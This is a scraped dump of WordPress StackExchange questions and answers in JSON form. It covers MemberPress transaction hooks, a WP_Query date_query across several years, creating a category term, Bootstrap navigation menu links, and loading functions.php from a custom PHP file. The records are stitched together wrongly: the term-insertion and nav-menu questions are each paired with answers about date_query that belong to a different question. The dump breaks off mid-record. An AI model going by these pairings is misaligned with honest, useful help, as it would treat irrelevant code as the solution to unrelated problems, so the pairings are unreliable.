"text": "<p>You can get the user by using the action <code>mepr-txn-status-complete</code> which fires on a successful transaction. If you need to, you can use a custom meta field to check whether or not this is the first time you have run this function against this user. This belongs in your theme's function file or in your custom plugin.</p>\n\n<pre><code>function capture_completed_transaction($txn) {\n $subscription = $txn->subscription();\n\n // Ensure the subscription is legit\n if($subscription === false) { return; }\n\n // Use any of the following objects to interact with as needed\n $user = new MeprUser($txn->user_id); //A MeprUser object\n $membership = new MeprProduct($txn->product_id); //A MeprProduct object\n $users_memberships = $user->active_product_subscriptions('ids'); //An array of membership CPT ID's\n\n $current_user = new WP_User($txn->user_id);\n if ( ! $current_user->exists() ) {\n return;\n }\n\n }\nadd_action('mepr-txn-status-complete', 'capture_completed_transaction');\n</code></pre>\n\n<p>MemberPress' documentation is sadly lacking, after much frustration I found this helpful gist: \n<a href=\"https://gist.github.com/cartpauj/1bb00840a342ba22bfff\" rel=\"nofollow noreferrer\">MemberPress Subscription Actions</a></p>\n"
}
] | 2019/04/25 | [
"https://wordpress.stackexchange.com/questions/336281",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/166745/"
] | I'm currently working on a website where users can purchase subscriptions using memberpress, I want to capture the user data after the signup process is completed and the payment transaction is also completed as well. If I add the member through dashboard manually I'm able to catch the user info as there is no payment gateway is involved, with this code
```
function mepr_capture_new_member_added($event) {
$user = $event->get_data();
//mail('myemail', 'mp user added', 'new user added successfully');
}
add_action('mepr-event-member-added', 'mepr_capture_new_member_added');
```
As I'm new to WordPress development I don't know how I can access this data on my other page templates, that's why I'm sending an email to test if it works or not I was able to figure out the action hook for the transaction-completed event, but it doesn't seem to work properly. Here is the code
```
function mepr_capture_new_one_time_sub($event) {
$transaction = $event->get_data();
$user = $transaction->user();
//mail('myemail', 'user purchased subscription', 'user-transaction-completed event captured '); }
add_action('mepr-event-non-recurring-transaction-completed', 'mepr_capture_new_one_time_sub');
```
I've read the complete memberpress documentation but the resources related to development are not what I'm looking for, they gave an option for webhooks and I can capture the data on zapier after user signup and payment transaction is completed but I need the data on my website so Zapier is not an option, they also provide the rest API but I want to capture the user information on 'signup and transaction complete' event and I don't think so that's possible with rest API, Please let me know how I can overcome this issue, any kind of help will be appreciated. | After searching for about 2 days I was able to figure out a way to capture the user after signup process is completed and the user's payment goes through the payment gateway, the way I'm doing it right now is when a signup process is completed user is redirected to thank-you page and a querystring containing subscr\_id is passed on that page and I'm capturing that subscr\_id and fetching the user from the database manually and its working perfectly fine, the process is seamless, and I can use the data on my other page templates as well.
You can simply get subscr\_id from $\_GET['subscr\_id'] and use that to capture the user associated with this subscription from the table 'wp\_mepr\_subscriptions' and then use the user id to fetch the user detail from 'wp\_usermeta' table of the wordpress, hope it helps someone else :) |
336,295 | <p>I was wondering whether it's possible to use <em>one</em> query to get the last couple of posts from several years.</p>
<p>I'm currently using a <code>foreach</code> loop to run several queries and then merge the post data. My single query looks like this:</p>
<pre><code>$amount = 2;
$year = 2018;
$args = array(
'post_type' => 'post',
'post_status' => 'publish',
'posts_per_page' => $amount,
'date_query' => array(
array(
'year' => $year
)
)
);
$query = new WP_Query($args);
</code></pre>
<p>For performance reasons, I'm assuming it's better to use one query that achieves the same – if that's even possible. An example of what I'm trying to achieve is get the last two posts from each of the last three years:</p>
<ul>
<li>two posts from 2016</li>
<li>two posts from 2017</li>
<li>two posts from 2018</li>
</ul>
| [
{
"answer_id": 336315,
"author": "MikeNGarrett",
"author_id": 1670,
"author_profile": "https://wordpress.stackexchange.com/users/1670",
"pm_score": 3,
"selected": true,
"text": "<p>You're just about there. Each <code>date_query</code> array represents a separate condition to filter by. By default, these are combined using <code>AND</code> which limits the scope further. In your case, you want to change the relation to <code>OR</code> and then add the different years as their own separate conditions in the array.</p>\n\n<pre><code>$args = array(\n 'date_query' => array(\n 'relation' => 'OR',\n array(\n 'year' => '2018',\n ),\n array(\n 'year' => '2015',\n ),\n ),\n);\n</code></pre>\n\n<p>The resulting mysql statement looks like this: </p>\n\n<pre><code>SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts WHERE 1=1 AND ( YEAR( wp_posts.post_date ) = 2018 OR YEAR( wp_posts.post_date ) = 2015 ) AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.post_date DESC LIMIT 0, 10\n</code></pre>\n\n<p>The important bit is <code>( YEAR( wp_posts.post_date ) = 2018 OR YEAR( wp_posts.post_date ) = 2015 )</code></p>\n"
},
{
"answer_id": 336491,
"author": "nmr",
"author_id": 147428,
"author_profile": "https://wordpress.stackexchange.com/users/147428",
"pm_score": 0,
"selected": false,
"text": "<p>Getting data in one query is possible, but it will require the use of session variables in the SQL \nand several filters to modify WordPress query.</p>\n\n<p>Target query looks roughly like this:</p>\n\n<pre><code>SELECT * FROM ( \n /* \n WP query with additional fields in select, '_inner_rank', '_assign_current'\n */ \n) ranked WHERE ranked._inner_rank <= 2;\n</code></pre>\n\n<p>And this is the key fragment added in the <code>posts_fields</code> filter hook:</p>\n\n<pre><code>@vrank := IF(@cyear = year(post_date), @vrank+1, 1) as _inner_rank, @cyear := year(post_date) as _assign_current\n</code></pre>\n\n<p>Variable <code>@cyear</code> was used to \"divide\" the results into groups, and <code>@vrank</code> to number the found rows.<br>\nThe data (posts) are sorted by date, the variable <code>cyear</code> stores the year from the previous row and is compared with the value (year from <code>post_date</code>) from the current row. If the values differ, the numbering starts again, if they match - the numbering continues.\nAfter comparison, the value from the current row is assigned to the variable <code>cyear</code>. </p>\n\n<p><strong>Code</strong></p>\n\n<pre><code>add_filter('posts_fields', 'se336295_fields__custom_select', 30, 2);\nadd_filter('posts_join_paged', 'se336295_join__custom_select', 30, 2);\nadd_filter('posts_orderby', 'se336295_orderby_custom_select', 30, 2);\nadd_filter('posts_request', 'se336295_request__custom_select', 30, 2);\nadd_filter('split_the_query', 'se336295_split__custom_select', 30, 2);\n\nfunction se336295_split__custom_select( $split_the_query, $query )\n{\n if ( ! $query->get('get_from_group', false) )\n return $split_the_query;\n\n return false;\n}\n/**\n * @param string $fields The SELECT clause of the query.\n * @param WP_Query $this The WP_Query instance (passed by reference).\n */\nfunction se336295_fields__custom_select( $fields, $query ) \n{\n global $wpdb;\n if ( ! $query->get('get_from_group', false) )\n return $fields;\n\n $table = $wpdb->posts;\n $fields .= \", @vrank := IF(@cyear = year({$table}.post_date), @vrank+1, 1) as _inner_rank, @cyear := year({$table}.post_date) as _assign_current \";\n\n return $fields;\n}\n/**\n * @param string $join The JOIN clause of the query.\n * @param WP_Query $this The WP_Query instance (passed by reference).\n */\nfunction se336295_join__custom_select( $join, $query ) \n{ \n if ( ! $query->get('get_from_group', false) )\n return $join;\n\n $join .= \", (select @cyear := 0, @vrank := 0) tmp_iv \";\n return $join; \n}\n/**\n * @param string $orderby The ORDER BY clause of the query.\n * @param WP_Query $this The WP_Query instance (passed by reference).\n */\nfunction se336295_orderby_custom_select( $orderby, $query ) \n{ \n $count = $query->get('get_from_group', false);\n if ( ! $count )\n return $orderby;\n\n //\n // close main statement (outer SELECT)\n $orderby .= \") ranked \";\n if ( is_numeric($count) && $count > 0)\n $orderby .= sprintf(\"WHERE ranked._inner_rank <= %d\", $count);\n\n return $orderby; \n}\n/*\n * @param string $request The complete SQL query.\n * @param WP_Query $this The WP_Query instance (passed by reference).\n */\nfunction se336295_request__custom_select( $request, $query ) \n{\n if ( ! $query->get('get_from_group', false) )\n return $request;\n\n //\n // start main statement (outer SELECT)\n $i = stripos( $request, 'SQL_CALC_FOUND_ROWS');\n if ( $i === FALSE )\n $request = \"SELECT * FROM (\" . $request;\n else\n $request = \"SELECT SQL_CALC_FOUND_ROWS * FROM ( SELECT \" . substr( $request, $i+20 );\n\n return $request;\n}\n</code></pre>\n\n<p><strong>How to use</strong></p>\n\n<pre><code>$arg = [\n 'get_from_group' => 2, // <-- number of posts from each group\n 'post_type' =>'post',\n 'date_query' => [\n 'after' => [ 'year' => '2016',],\n 'before' => [ 'year' => '2018',],\n 'inclusive' => true,\n ],\n //'posts_per_page' => 20,\n //'paged' => $curr_page, // optional pagination\n //'orderby' => 'date', // default value\n];\n$qr1 = new WP_Query($arg);\n</code></pre>\n"
}
] | 2019/04/25 | [
"https://wordpress.stackexchange.com/questions/336295",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/32794/"
] | I was wondering whether it's possible to use *one* query to get the last couple of posts from several years.
I'm currently using a `foreach` loop to run several queries and then merge the post data. My single query looks like this:
```
$amount = 2;
$year = 2018;
$args = array(
'post_type' => 'post',
'post_status' => 'publish',
'posts_per_page' => $amount,
'date_query' => array(
array(
'year' => $year
)
)
);
$query = new WP_Query($args);
```
For performance reasons, I'm assuming it's better to use one query that achieves the same – if that's even possible. An example of what I'm trying to achieve is get the last two posts from each of the last three years:
* two posts from 2016
* two posts from 2017
* two posts from 2018 | You're just about there. Each `date_query` array represents a separate condition to filter by. By default, these are combined using `AND` which limits the scope further. In your case, you want to change the relation to `OR` and then add the different years as their own separate conditions in the array.
```
$args = array(
'date_query' => array(
'relation' => 'OR',
array(
'year' => '2018',
),
array(
'year' => '2015',
),
),
);
```
The resulting mysql statement looks like this:
```
SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts WHERE 1=1 AND ( YEAR( wp_posts.post_date ) = 2018 OR YEAR( wp_posts.post_date ) = 2015 ) AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.post_date DESC LIMIT 0, 10
```
The important bit is `( YEAR( wp_posts.post_date ) = 2018 OR YEAR( wp_posts.post_date ) = 2015 )` |
336,301 | <p>I'm trying to create a new category in the taxonomy.php called '<strong>USSERS</strong>'. I have followed few examples online and got till this part.</p>
<pre><code>function insert_term( $name,$tax,$parent='' ,$slug='') {
$term_id = term_exists( $name, $tax);
if ( !$term_id)
$term_id = wp_insert_term( $name, $tax, array('parent'=>$parent,'slug'=>$ludg) );
return $term_id;
}
insert_term('USSERS','category');
</code></pre>
<p>After doing the above code, i went to check the wordpress dashboard to see if I actually created the category but It doesn't show. So now i'm confused and lost because I have no idea how to proceed with the above code and make it show on the dashboard.</p>
<p><strong>FUNCTIONS.PHP</strong></p>
<pre><code><?php
if ( function_exists('register_sidebar') )
register_sidebar();
add_filter( 'auto_update_plugin', '__return_false' );
add_filter( 'auto_update_theme', '__return_false' );
?>
function yourtheme_init() {
insert_term('USSERS','category');
}
add_action('init', 'yourtheme_init');
function insert_term( $name,$tax,$parent='' ,$slug='') {
$term_id = term_exists( $name, $tax);
if ( !$term_id) {
$term_id = wp_insert_term( $name, $tax, array('parent'=>$parent,'slug'=>$slug) );
}
return $term_id;
}
</code></pre>
| [
{
"answer_id": 336315,
"author": "MikeNGarrett",
"author_id": 1670,
"author_profile": "https://wordpress.stackexchange.com/users/1670",
"pm_score": 3,
"selected": true,
"text": "<p>You're just about there. Each <code>date_query</code> array represents a separate condition to filter by. By default, these are combined using <code>AND</code> which limits the scope further. In your case, you want to change the relation to <code>OR</code> and then add the different years as their own separate conditions in the array.</p>\n\n<pre><code>$args = array(\n 'date_query' => array(\n 'relation' => 'OR',\n array(\n 'year' => '2018',\n ),\n array(\n 'year' => '2015',\n ),\n ),\n);\n</code></pre>\n\n<p>The resulting mysql statement looks like this: </p>\n\n<pre><code>SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts WHERE 1=1 AND ( YEAR( wp_posts.post_date ) = 2018 OR YEAR( wp_posts.post_date ) = 2015 ) AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.post_date DESC LIMIT 0, 10\n</code></pre>\n\n<p>The important bit is <code>( YEAR( wp_posts.post_date ) = 2018 OR YEAR( wp_posts.post_date ) = 2015 )</code></p>\n"
},
{
"answer_id": 336491,
"author": "nmr",
"author_id": 147428,
"author_profile": "https://wordpress.stackexchange.com/users/147428",
"pm_score": 0,
"selected": false,
"text": "<p>Getting data in one query is possible, but it will require the use of session variables in the SQL \nand several filters to modify WordPress query.</p>\n\n<p>Target query looks roughly like this:</p>\n\n<pre><code>SELECT * FROM ( \n /* \n WP query with additional fields in select, '_inner_rank', '_assign_current'\n */ \n) ranked WHERE ranked._inner_rank <= 2;\n</code></pre>\n\n<p>And this is the key fragment added in the <code>posts_fields</code> filter hook:</p>\n\n<pre><code>@vrank := IF(@cyear = year(post_date), @vrank+1, 1) as _inner_rank, @cyear := year(post_date) as _assign_current\n</code></pre>\n\n<p>Variable <code>@cyear</code> was used to \"divide\" the results into groups, and <code>@vrank</code> to number the found rows.<br>\nThe data (posts) are sorted by date, the variable <code>cyear</code> stores the year from the previous row and is compared with the value (year from <code>post_date</code>) from the current row. If the values differ, the numbering starts again, if they match - the numbering continues.\nAfter comparison, the value from the current row is assigned to the variable <code>cyear</code>. </p>\n\n<p><strong>Code</strong></p>\n\n<pre><code>add_filter('posts_fields', 'se336295_fields__custom_select', 30, 2);\nadd_filter('posts_join_paged', 'se336295_join__custom_select', 30, 2);\nadd_filter('posts_orderby', 'se336295_orderby_custom_select', 30, 2);\nadd_filter('posts_request', 'se336295_request__custom_select', 30, 2);\nadd_filter('split_the_query', 'se336295_split__custom_select', 30, 2);\n\nfunction se336295_split__custom_select( $split_the_query, $query )\n{\n if ( ! $query->get('get_from_group', false) )\n return $split_the_query;\n\n return false;\n}\n/**\n * @param string $fields The SELECT clause of the query.\n * @param WP_Query $this The WP_Query instance (passed by reference).\n */\nfunction se336295_fields__custom_select( $fields, $query ) \n{\n global $wpdb;\n if ( ! $query->get('get_from_group', false) )\n return $fields;\n\n $table = $wpdb->posts;\n $fields .= \", @vrank := IF(@cyear = year({$table}.post_date), @vrank+1, 1) as _inner_rank, @cyear := year({$table}.post_date) as _assign_current \";\n\n return $fields;\n}\n/**\n * @param string $join The JOIN clause of the query.\n * @param WP_Query $this The WP_Query instance (passed by reference).\n */\nfunction se336295_join__custom_select( $join, $query ) \n{ \n if ( ! $query->get('get_from_group', false) )\n return $join;\n\n $join .= \", (select @cyear := 0, @vrank := 0) tmp_iv \";\n return $join; \n}\n/**\n * @param string $orderby The ORDER BY clause of the query.\n * @param WP_Query $this The WP_Query instance (passed by reference).\n */\nfunction se336295_orderby_custom_select( $orderby, $query ) \n{ \n $count = $query->get('get_from_group', false);\n if ( ! $count )\n return $orderby;\n\n //\n // close main statement (outer SELECT)\n $orderby .= \") ranked \";\n if ( is_numeric($count) && $count > 0)\n $orderby .= sprintf(\"WHERE ranked._inner_rank <= %d\", $count);\n\n return $orderby; \n}\n/*\n * @param string $request The complete SQL query.\n * @param WP_Query $this The WP_Query instance (passed by reference).\n */\nfunction se336295_request__custom_select( $request, $query ) \n{\n if ( ! $query->get('get_from_group', false) )\n return $request;\n\n //\n // start main statement (outer SELECT)\n $i = stripos( $request, 'SQL_CALC_FOUND_ROWS');\n if ( $i === FALSE )\n $request = \"SELECT * FROM (\" . $request;\n else\n $request = \"SELECT SQL_CALC_FOUND_ROWS * FROM ( SELECT \" . substr( $request, $i+20 );\n\n return $request;\n}\n</code></pre>\n\n<p><strong>How to use</strong></p>\n\n<pre><code>$arg = [\n 'get_from_group' => 2, // <-- number of posts from each group\n 'post_type' =>'post',\n 'date_query' => [\n 'after' => [ 'year' => '2016',],\n 'before' => [ 'year' => '2018',],\n 'inclusive' => true,\n ],\n //'posts_per_page' => 20,\n //'paged' => $curr_page, // optional pagination\n //'orderby' => 'date', // default value\n];\n$qr1 = new WP_Query($arg);\n</code></pre>\n"
}
] | 2019/04/25 | [
"https://wordpress.stackexchange.com/questions/336301",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/166752/"
] | I'm trying to create a new category in the taxonomy.php called '**USSERS**'. I have followed few examples online and got till this part.
```
function insert_term( $name,$tax,$parent='' ,$slug='') {
$term_id = term_exists( $name, $tax);
if ( !$term_id)
$term_id = wp_insert_term( $name, $tax, array('parent'=>$parent,'slug'=>$ludg) );
return $term_id;
}
insert_term('USSERS','category');
```
After doing the above code, i went to check the wordpress dashboard to see if I actually created the category but It doesn't show. So now i'm confused and lost because I have no idea how to proceed with the above code and make it show on the dashboard.
**FUNCTIONS.PHP**
```
<?php
if ( function_exists('register_sidebar') )
register_sidebar();
add_filter( 'auto_update_plugin', '__return_false' );
add_filter( 'auto_update_theme', '__return_false' );
?>
function yourtheme_init() {
insert_term('USSERS','category');
}
add_action('init', 'yourtheme_init');
function insert_term( $name,$tax,$parent='' ,$slug='') {
$term_id = term_exists( $name, $tax);
if ( !$term_id) {
$term_id = wp_insert_term( $name, $tax, array('parent'=>$parent,'slug'=>$slug) );
}
return $term_id;
}
``` | You're just about there. Each `date_query` array represents a separate condition to filter by. By default, these are combined using `AND` which limits the scope further. In your case, you want to change the relation to `OR` and then add the different years as their own separate conditions in the array.
```
$args = array(
'date_query' => array(
'relation' => 'OR',
array(
'year' => '2018',
),
array(
'year' => '2015',
),
),
);
```
The resulting mysql statement looks like this:
```
SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts WHERE 1=1 AND ( YEAR( wp_posts.post_date ) = 2018 OR YEAR( wp_posts.post_date ) = 2015 ) AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.post_date DESC LIMIT 0, 10
```
The important bit is `( YEAR( wp_posts.post_date ) = 2018 OR YEAR( wp_posts.post_date ) = 2015 )` |
336,332 | <p>Navigation Menu links not working, but the bootstrap CSS is working. Can anyone help me in getting the links working? Thank you<a href="https://i.stack.imgur.com/7UsiD.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7UsiD.png" alt="enter image description here"></a></p>
<pre><code><ul class="navbar-nav mr-auto">
<?php
wp_nav_menu(array(
'theme_location' => 'primary',
'before' => '<class="nav-item active">',
'menu_class' =>'navbar-nav mr-auto',
'link_before' =>'<a class="nav-link" href="#">',
'link_after' =>'<span class="sr-only">(current)</span></a>',
'container' => false,
'items_wrap' => '%3$s'
));
?>
</ul>
</code></pre>
| [
{
"answer_id": 336315,
"author": "MikeNGarrett",
"author_id": 1670,
"author_profile": "https://wordpress.stackexchange.com/users/1670",
"pm_score": 3,
"selected": true,
"text": "<p>You're just about there. Each <code>date_query</code> array represents a separate condition to filter by. By default, these are combined using <code>AND</code> which limits the scope further. In your case, you want to change the relation to <code>OR</code> and then add the different years as their own separate conditions in the array.</p>\n\n<pre><code>$args = array(\n 'date_query' => array(\n 'relation' => 'OR',\n array(\n 'year' => '2018',\n ),\n array(\n 'year' => '2015',\n ),\n ),\n);\n</code></pre>\n\n<p>The resulting mysql statement looks like this: </p>\n\n<pre><code>SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts WHERE 1=1 AND ( YEAR( wp_posts.post_date ) = 2018 OR YEAR( wp_posts.post_date ) = 2015 ) AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.post_date DESC LIMIT 0, 10\n</code></pre>\n\n<p>The important bit is <code>( YEAR( wp_posts.post_date ) = 2018 OR YEAR( wp_posts.post_date ) = 2015 )</code></p>\n"
},
{
"answer_id": 336491,
"author": "nmr",
"author_id": 147428,
"author_profile": "https://wordpress.stackexchange.com/users/147428",
"pm_score": 0,
"selected": false,
"text": "<p>Getting data in one query is possible, but it will require the use of session variables in the SQL \nand several filters to modify WordPress query.</p>\n\n<p>Target query looks roughly like this:</p>\n\n<pre><code>SELECT * FROM ( \n /* \n WP query with additional fields in select, '_inner_rank', '_assign_current'\n */ \n) ranked WHERE ranked._inner_rank <= 2;\n</code></pre>\n\n<p>And this is the key fragment added in the <code>posts_fields</code> filter hook:</p>\n\n<pre><code>@vrank := IF(@cyear = year(post_date), @vrank+1, 1) as _inner_rank, @cyear := year(post_date) as _assign_current\n</code></pre>\n\n<p>Variable <code>@cyear</code> was used to \"divide\" the results into groups, and <code>@vrank</code> to number the found rows.<br>\nThe data (posts) are sorted by date, the variable <code>cyear</code> stores the year from the previous row and is compared with the value (year from <code>post_date</code>) from the current row. If the values differ, the numbering starts again, if they match - the numbering continues.\nAfter comparison, the value from the current row is assigned to the variable <code>cyear</code>. </p>\n\n<p><strong>Code</strong></p>\n\n<pre><code>add_filter('posts_fields', 'se336295_fields__custom_select', 30, 2);\nadd_filter('posts_join_paged', 'se336295_join__custom_select', 30, 2);\nadd_filter('posts_orderby', 'se336295_orderby_custom_select', 30, 2);\nadd_filter('posts_request', 'se336295_request__custom_select', 30, 2);\nadd_filter('split_the_query', 'se336295_split__custom_select', 30, 2);\n\nfunction se336295_split__custom_select( $split_the_query, $query )\n{\n if ( ! $query->get('get_from_group', false) )\n return $split_the_query;\n\n return false;\n}\n/**\n * @param string $fields The SELECT clause of the query.\n * @param WP_Query $this The WP_Query instance (passed by reference).\n */\nfunction se336295_fields__custom_select( $fields, $query ) \n{\n global $wpdb;\n if ( ! $query->get('get_from_group', false) )\n return $fields;\n\n $table = $wpdb->posts;\n $fields .= \", @vrank := IF(@cyear = year({$table}.post_date), @vrank+1, 1) as _inner_rank, @cyear := year({$table}.post_date) as _assign_current \";\n\n return $fields;\n}\n/**\n * @param string $join The JOIN clause of the query.\n * @param WP_Query $this The WP_Query instance (passed by reference).\n */\nfunction se336295_join__custom_select( $join, $query ) \n{ \n if ( ! $query->get('get_from_group', false) )\n return $join;\n\n $join .= \", (select @cyear := 0, @vrank := 0) tmp_iv \";\n return $join; \n}\n/**\n * @param string $orderby The ORDER BY clause of the query.\n * @param WP_Query $this The WP_Query instance (passed by reference).\n */\nfunction se336295_orderby_custom_select( $orderby, $query ) \n{ \n $count = $query->get('get_from_group', false);\n if ( ! $count )\n return $orderby;\n\n //\n // close main statement (outer SELECT)\n $orderby .= \") ranked \";\n if ( is_numeric($count) && $count > 0)\n $orderby .= sprintf(\"WHERE ranked._inner_rank <= %d\", $count);\n\n return $orderby; \n}\n/*\n * @param string $request The complete SQL query.\n * @param WP_Query $this The WP_Query instance (passed by reference).\n */\nfunction se336295_request__custom_select( $request, $query ) \n{\n if ( ! $query->get('get_from_group', false) )\n return $request;\n\n //\n // start main statement (outer SELECT)\n $i = stripos( $request, 'SQL_CALC_FOUND_ROWS');\n if ( $i === FALSE )\n $request = \"SELECT * FROM (\" . $request;\n else\n $request = \"SELECT SQL_CALC_FOUND_ROWS * FROM ( SELECT \" . substr( $request, $i+20 );\n\n return $request;\n}\n</code></pre>\n\n<p><strong>How to use</strong></p>\n\n<pre><code>$arg = [\n 'get_from_group' => 2, // <-- number of posts from each group\n 'post_type' =>'post',\n 'date_query' => [\n 'after' => [ 'year' => '2016',],\n 'before' => [ 'year' => '2018',],\n 'inclusive' => true,\n ],\n //'posts_per_page' => 20,\n //'paged' => $curr_page, // optional pagination\n //'orderby' => 'date', // default value\n];\n$qr1 = new WP_Query($arg);\n</code></pre>\n"
}
] | 2019/04/25 | [
"https://wordpress.stackexchange.com/questions/336332",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/166779/"
] | Navigation Menu links not working, but the bootstrap CSS is working. Can anyone help me in getting the links working? Thank you[](https://i.stack.imgur.com/7UsiD.png)
```
<ul class="navbar-nav mr-auto">
<?php
wp_nav_menu(array(
'theme_location' => 'primary',
'before' => '<class="nav-item active">',
'menu_class' =>'navbar-nav mr-auto',
'link_before' =>'<a class="nav-link" href="#">',
'link_after' =>'<span class="sr-only">(current)</span></a>',
'container' => false,
'items_wrap' => '%3$s'
));
?>
</ul>
``` | You're just about there. Each `date_query` array represents a separate condition to filter by. By default, these are combined using `AND` which limits the scope further. In your case, you want to change the relation to `OR` and then add the different years as their own separate conditions in the array.
```
$args = array(
'date_query' => array(
'relation' => 'OR',
array(
'year' => '2018',
),
array(
'year' => '2015',
),
),
);
```
The resulting mysql statement looks like this:
```
SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_posts WHERE 1=1 AND ( YEAR( wp_posts.post_date ) = 2018 OR YEAR( wp_posts.post_date ) = 2015 ) AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish') ORDER BY wp_posts.post_date DESC LIMIT 0, 10
```
The important bit is `( YEAR( wp_posts.post_date ) = 2018 OR YEAR( wp_posts.post_date ) = 2015 )` |
336,350 | <p>I have a custom php file in wp-content/themes/xxxx/modules/custom.php and i want to call function from Functions.php. Right now all my functions (same function) everywhere in different files, because still cannot solve this problem. </p>
<p>I want to create a function in Functions.php and call this function from everywhere in the website. This function will called from another php files (Ajax will not call this function). When I include or require any file (wp-load, wp-blog-header, functions.php are not imported)</p>
<p>I read many forums and tried many ways like </p>
<p>1.</p>
<pre><code>define('WP_USE_THEMES', true);
require( '/opt/bitnami/apps/wordpress/htdocs/wp-blog-header.php' );
</code></pre>
<p>2.</p>
<pre><code>include (/opt/bitnami/apps/wordpress/htdocs/wp-content/themes/xxx/functions.php);
</code></pre>
<p>3.</p>
<pre><code>require($_SERVER['DOCUMENT_ROOT'] . '/wp-load');
require(/opt/bitnami/apps/wordpress/htdocs/wp-load');
</code></pre>
<p>etc. I tried many ways but all examples not working. </p>
<p>Is there any way to declare a function in Funtions.php and use everywhere without any problem?.</p>
| [
{
"answer_id": 336354,
"author": "user3135691",
"author_id": 59755,
"author_profile": "https://wordpress.stackexchange.com/users/59755",
"pm_score": 0,
"selected": false,
"text": "<p>Try:</p>\n\n<pre><code><?php\n\n $dir = get_template_directory_uri();\n require $dir . '/yourfolder/yourfile.php';\n\n ?>\n</code></pre>\n"
},
{
"answer_id": 336370,
"author": "Pat_Morita",
"author_id": 134335,
"author_profile": "https://wordpress.stackexchange.com/users/134335",
"pm_score": 0,
"selected": false,
"text": "<p>The first question is: Is your Php file custom and not part of the wp-load? That means it is not loaded/included by a theme or plugin.</p>\n\n<p>Then - inside that file - WordPress is unknown and so is your theme and so is your functions.php.</p>\n\n<p>So you have to load it. Depending on where your file is you have to go back to the root level to load wordpress:</p>\n\n<pre><code>require_once('/../../../wp-load.php');\n</code></pre>\n\n<p>But this is not a very elegant solution. Better address the root directly</p>\n\n<pre><code>require_once(rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/wp-load.php');\n</code></pre>\n\n<p>Once WordPress is loaded you can access the function in your functions.php file. But beware of security concerns. Calling a pho file directly is never a good idea. Make sure you sanitize input if you work with post/get requests.</p>\n"
},
{
"answer_id": 336614,
"author": "Bayanaa",
"author_id": 166789,
"author_profile": "https://wordpress.stackexchange.com/users/166789",
"pm_score": 1,
"selected": false,
"text": "<p>I tried to find a solution for last 7 days and still cannot find a solution.</p>\n\n<p>I am going to post my code like how trying to import wp-blog-header.php or wp-load.php</p>\n\n<p>Here is a page code :</p>\n\n<pre><code>ini_set('display_errors', 1);\nini_set('display_startup_errors', 1);\nerror_reporting(E_ALL);\nif (file_exists('/opt/bitnami/apps/wordpress/htdocs/wp-blog-header.php')) {\n error_log(\"The file '/opt/bitnami/apps/wordpress/htdocs/wp-blog-header.php' exists\");\n} else {\n error_log(\"The file '/opt/bitnami/apps/wordpress/htdocs/wp-blog-header.php' does not exist\");\n}\nrequire_once(rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/wp-load.php');\nerror_log(print_r(get_header(), true));die();\n</code></pre>\n\n<p>here is a apache error log : </p>\n\n<pre><code>[Mon Apr 29 08:58:29.362243 2019] [proxy_fcgi:error] [pid 9264:tid 139719891371776] [client xxx] AH01071: Got error 'PHP message: The file '/opt/bitnami/apps/wordpress/htdocs/wp-blog-header.php' exists\\n', referer: https://formaspace.com/contact/\n</code></pre>\n\n<p>You see that require_once section didn't answer it?, because it failed at wp-load page. \nAlso if I remove that require_once line it shows me error like get_header call to undefined function </p>\n\n<p>get_header is just a example. I already tried to call functions.php funtions</p>\n"
},
{
"answer_id": 346280,
"author": "HongPong",
"author_id": 76463,
"author_profile": "https://wordpress.stackexchange.com/users/76463",
"pm_score": 2,
"selected": false,
"text": "<p>It's worth noting that PHP namespace issues can contribute to this problem. This can catch people because namespaces have been kept out of Wordpress core codebase until recently. </p>\n\n<p>For example one of your code files may have a Namespace declaration around the top. If that is the case you will have to prefix any references to the functions with the correct namespace.</p>\n\n<p>In Wordpress in particular if there is a mismatch it will not find the function unless it is namespaced correctly.</p>\n\n<p>In themes <a href=\"https://discourse.roots.io/t/error-when-i-put-custom-function-in-admin-php-but-all-is-fine-if-i-put-the-code-in-functions-php/14014\" rel=\"nofollow noreferrer\">such as Sage</a>: </p>\n\n<pre><code>Warning: call_user_func_array() expects parameter 1 to be a valid callback, function ‘myplugin_settings’ not found or invalid function name\n</code></pre>\n\n<p>You would need to indicate the namespace this way. If the namespace is already called above on this file, you need to add the following: </p>\n\n<pre><code>add_action( 'init' , __NAMESPACE__ . '\\\\myplugin_settings' );\n</code></pre>\n\n<p>If your file is not in the namespace you will have to add it manually. Note that double-backslashes are needed due to character escaping.</p>\n\n<p>More about namespaces in PHP:</p>\n\n<ul>\n<li><a href=\"https://www.php.net/manual/en/language.namespaces.php\" rel=\"nofollow noreferrer\">PHP manual TOC for namespaces</a>.</li>\n<li><a href=\"https://www.php.net/manual/en/language.namespaces.rationale.php\" rel=\"nofollow noreferrer\">Rationale for namespaces</a>.</li>\n<li><a href=\"https://www.php.net/manual/en/language.namespaces.basics.php\" rel=\"nofollow noreferrer\">Basics of namespaces</a>.</li>\n<li><a href=\"https://www.thoughtfulcode.com/a-complete-guide-to-php-namespaces/\" rel=\"nofollow noreferrer\">Complete guide to namespaces</a>.</li>\n</ul>\n\n<p>(Adding this answer because I landed here and namespaces were my snag - I didn't realize the add_action namespace issue.)</p>\n"
},
{
"answer_id": 378913,
"author": "Jesse Nickles",
"author_id": 152624,
"author_profile": "https://wordpress.stackexchange.com/users/152624",
"pm_score": 0,
"selected": false,
